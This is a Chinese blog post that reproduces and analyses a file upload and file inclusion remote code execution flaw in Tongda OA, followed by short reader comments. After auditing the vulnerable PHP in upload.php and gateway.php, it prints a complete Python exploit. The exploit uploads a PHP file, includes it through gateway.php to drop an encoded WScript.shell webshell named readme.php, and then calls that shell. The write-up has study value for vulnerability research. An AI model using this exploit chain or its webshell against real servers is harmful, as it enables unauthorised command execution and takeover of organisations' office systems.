通达OA 任意文件上传 复现和代码分析
说明一下
文件包含的文件只有2017和v11有 然后我这边是拿的一个2013 增强版做测试的。所以默认是没有那个文件包含的。只是作为演示
一、环境搭建
http://www.tongda2000.com/download/2013adv.php
下载后点击安装
安装完成之后 设置端口
然后打开
这里2013增强版是没有那个包含的。这里为了测试下载两个文件。然后呢。需要下载两个文件
https://github.com/jas502n/OA-tongda-RCE
少宇师傅已经发出来
由于官网下载的文件里面没有 interface 目录然后新建一个 interface 然后把 gateway.php 丢入到目录中
然后替换ispirit/im/upload.php
审计如下:
$P = $_POST['P'];
if (isset($P) || $P != '') {
ob_start();
include_once 'inc/session.php';
session_id($P);
session_start();
session_write_close();
} else {
include_once './auth.php';
}
这里这里只判断了是否存在这个传参p 如果存在那么就应用了session
然后第二个关键参数DEST_UID
$DEST_UID = $_POST['DEST_UID'];
$dataBack = array();
if ($DEST_UID != '' && !td_verify_ids($ids)) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('接收方ID无效'));
echo json_encode(data2utf8($dataBack));
exit;
}
这里只要随便指定一个参数就行了。
下一个参数$Files
if (1 <= count($_FILES)) {
if ($UPLOAD_MODE == '1') {
if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) != strlen($_FILES['ATTACHMENT']['name'])) {
$_FILES['ATTACHMENT']['name'] = urldecode($_FILES['ATTACHMENT']['name']);
}
}
这里上传的参数名字为ATTACHMENT 就是 例如
Content-Disposition: form-data; name=”ATTACHMENT”; filename=”filename.png”
这样的一个上传的包
继续下一个参数 UPLOAD_MODE
这里的话。UPLOAD_MODE 为1 的时候
这里我测试的时候是直接数据库报错了。然后就放弃了看这行代码
if ($UPLOAD_MODE == '2') {
$DURATION = intval($_POST['DURATION']);
$CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
$query = 'INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES (\'' . $_SESSION['LOGIN_UID'] . '\', \'' . $CONTENT . '\', \'' . time() . '\')';
$cursor = exequery(TD::conn(), $query);
echo '+OK ' . $CONTENT;
这里是直接返回了一个
+OK [vm]2762@2003_819548448|filename.png|0[/vm]
得到返回之后。去看了一下OA的安装目录找到了这个文件的存放位置
注意是在安装目录的下面。不是代码目录。
下面看文件包含的部分
ispirit\interface\gateway.php
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val) {
if ($key == 'data') {
$val = (array) $val;
foreach ($val as $keys => $value) {
${$keys} = $value;
}
}
if ($key == 'url') {
$url = $val;
}
}
if ($url != '') {
if (substr($url, 0, 1) == '/') {
$url = substr($url, 1);
}
if (strpos($url, 'general/') !== false || strpos($url, 'ispirit/') !== false || strpos($url, 'module/') !== false) {
include_once $url;
}
}
exit;
}
这里传递了一个json 过来。然后
大概就是如下的意思
{‘json’: ‘{“url”:”1.txt”}’}
然后具体的exp 如下:
import os
import requests
# author :print("")
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
if not os.path.exists('1.txt'):
f=open('1.txt','w')
f.write('''<?php
$fp = fopen('readme.php', 'w');
$a = base64_decode("JTNDJTNGcGhwJTBBJTI0Y29tbWFuZCUzRCUyMndob2FtaSUyMiUzQiUwQSUyNHdzaCUyMCUzRCUyMG5ldyUyMENPTSUyOCUyN1dTY3JpcHQuc2hlbGwlMjclMjklM0IlMEElMjRleGVjJTIwJTNEJTIwJTI0d3NoLSUzRWV4ZWMlMjglMjJjbWQlMjAvYyUyMCUyMi4lMjRjb21tYW5kJTI5JTNCJTBBJTI0c3Rkb3V0JTIwJTNEJTIwJTI0ZXhlYy0lM0VTdGRPdXQlMjglMjklM0IlMEElMjRzdHJvdXRwdXQlMjAlM0QlMjAlMjRzdGRvdXQtJTNFUmVhZEFsbCUyOCUyOSUzQiUwQWVjaG8lMjAlMjRzdHJvdXRwdXQlM0IlMEElM0YlM0U=");
fwrite($fp, urldecode($a));
fclose($fp);
?>
''')
f.close()
upload_url = "http://192.168.1.145:8181/ispirit/im/upload.php"
include_url = "http://192.168.1.145:8181/ispirit/interface/gateway.php"
shell_url="http://192.168.1.145:8181/ispirit/interface/readme.php"
files = {'ATTACHMENT':open('1.txt','r')}
upload_data={"P":"123","DEST_UID":"1","UPLOAD_MODE":"2"}
upload_res = requests.post(upload_url,upload_data,files=files,proxies=proxies)
path = upload_res.text
path = path[path.find('@')+1:path.rfind('|')].replace("_","\/").replace("|",".")
include_data = {"json":"{\"url\":\"/general/../../attach/im/" +path+"\"}"}
print(include_data)
include_res = requests.post(include_url,data=include_data,proxies=proxies)
shell_res=requests.get(shell_url)
print(shell_res.text)









test94
2020年3月20日 下午6:02
昨天看你的文章写Nmap脚本,我就看这个文件MAC时间都是13年左右,就好奇哪里修复了
print("")
2020年3月20日 下午6:04
只有v11 和2017 拿2013 那个只是为了演示。
师兄今天想开了吗
2020年4月5日 上午12:19
这么全面的教程,博主真厉害
钻网
2020年5月4日 上午8:45
春暖花开,下次再来!